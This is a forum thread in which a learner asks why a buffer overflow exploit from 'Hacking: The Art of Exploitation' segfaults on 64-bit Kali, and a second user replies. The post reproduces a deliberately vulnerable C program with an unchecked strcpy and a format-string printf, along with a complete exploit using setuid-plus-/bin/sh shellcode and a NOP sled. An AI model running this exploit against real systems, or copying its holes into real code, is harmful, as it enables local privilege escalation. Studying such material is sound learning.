Author Topic: Need help understanding this buffer overflow  (Read 627 times)

0 Members and 1 Guest are viewing this topic.

Offline yasgur99

  • /dev/null
  • *
  • Posts: 10
  • Cookies: 2
    • View Profile
Need help understanding this buffer overflow
« on: December 18, 2015, 02:25:12 am »
I have purchased this book called "Hacking, The Art of Exploitation", and there is a program in it that is a buffer overflow exploit from a program that showed up previously in the book. There are a few issues that I have run into. First of all, if I try to run the program I get a segmentation fault (even though the author ran the same exact commands as I am and he isn't getting any issues) My second issue is that I think that the author did a poor job explaining what exactly going on. I'm confused how this exploit 1) determines the offset value 2) Uses a NOP sled to find the return address (how does this work) 3)  how does the shellcode say what is happening/what does it say/how can i read it.

The code to the program being exploited is:
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //Just an error checked malloc and an error message/exit function

#define FILENAME "/var/notes"

void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);

int main(int argc, char *argv[]) {
int fd, userid, printing = 1;
char searchstring[100];

if (argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;

userid = getuid();

fd = open(FILENAME, O_RDONLY);
if(fd == -1) {
fatal("in main opening file");
}

while(printing)
printing = print_notes(fd, userid, searchstring);

printf("-------[ end of note data ]-------\n");
close(fd);
}

// A function to print the notes for a given uid that match an optional searchstring
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){

int note_length;
char byte = 0;
char note_buffer[100];

note_length = find_user_note(fd, uid);
if(note_length == -1) //If end of file reached
return 0;       // Return 0;

read(fd, note_buffer, note_length); // Read More Data
note_buffer[note_length] = 0;     // Terminate the String

if(search_note(note_buffer, searchstring)) //If searchstring found
printf(note_buffer); //Print the note
return 1;
}

// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {

int note_uid = -1;
unsigned char byte;
int length;

while(note_uid != user_uid) { // Loop unitl a note for user_uid is found

if(read(fd, &note_uid, 4) != 4) // Read the uid data
return -1; // If 4 bytes arent read, return end of file code

if(read(fd, &byte, 1) != 1) //Read the newline separtor
return -1;

byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read Single byte
return -1; // If byte isn't read, return end of file code
length++;
}
}

lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes

printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
return length;
}

//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){

int i, keyword_length, match=0;

keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no searchstring
return 1; //Always match

for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
if(note[i] == keyword[match]) // If byte matches keyword
match++; // Get ready to check nexy byte
else {
if(note[i] == keyword[match]) // If byte matches keyword
match = 1; // Start the match count at 1
else
match = 0; // Otherwise its zero
}

if(match == keyword_length) // If there is a full match
return 1; // return match
}
return 0; // return not matched
}

The exploit that is included is:
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); //Zero out the new memory

strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end

if(argc > 1) //Set offset
offset = atoi(argv[1]);

ret = (unsigned int)&i - offset; //Set return address

for(i=0; i <160; i+=4) //Fill buffer with return addres
*((unsigned int *)(buffer + i)) = ret;

memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

strcat(command, "\'");

system(command); //Run Exploit
free (command);
}

Note about that code: I get a warning on the line that assigns the address of i - offset. I'm pretty sure that this is because since I'm using a 64 bit machine, a pointer is 8 bytes while a unsigned int is only 4. To counter this, I typcasted into a long unsigned int. I'm not sure if that is good practice, but correct me when I am wrong.
So what I changed it to is:
Code: [Select]
ret = (unsigned int)&i - offset; //Set return address

I have used gdb to analyze whats going on and I found the segmentation fault to happen during the line
Code: [Select]
system(command); // Run Exploit
I also have used gdb to thoroughly examine the memory at the addresses of all variables throught the program and I have noticed that when the author of the book examines the contents of the command variable (while it has the shellcode in it), his output shows a bunch of wacky characters, but mine shows numbers and slashes. Why is there a difference?

My main point is that I don't know is how to stop this segmentation fault from happening but still getting this exploit to work correctly. If someone would be able to help me out that would be great. If anyone needs more information, I would be happy to provide it.

PS- I am running kali linix 64 bit if (if that might help you determine something)

Offline Sheogorath

  • /dev/null
  • *
  • Posts: 16
  • Cookies: -3
    • View Profile
Re: Need help understanding this buffer overflow
« Reply #1 on: December 18, 2015, 07:16:27 am »
Hello,

I never finished the book but I have the same one. I found that when I was messing around with the earlier buffer_overflow examples, if I entered in two little characters it wouldn't work. Too many and it'd just return segmentation fault, but somewhere's in the middle it'd work successfully.

Quote
Why is there a difference?

Keep in mind he's using an entirely different OS (If I remember correctly one of their own flavoring) in the live bootable disk that's provided with the book. So there will be some minor differences.

Hope I helped somewhat,

Cheers mate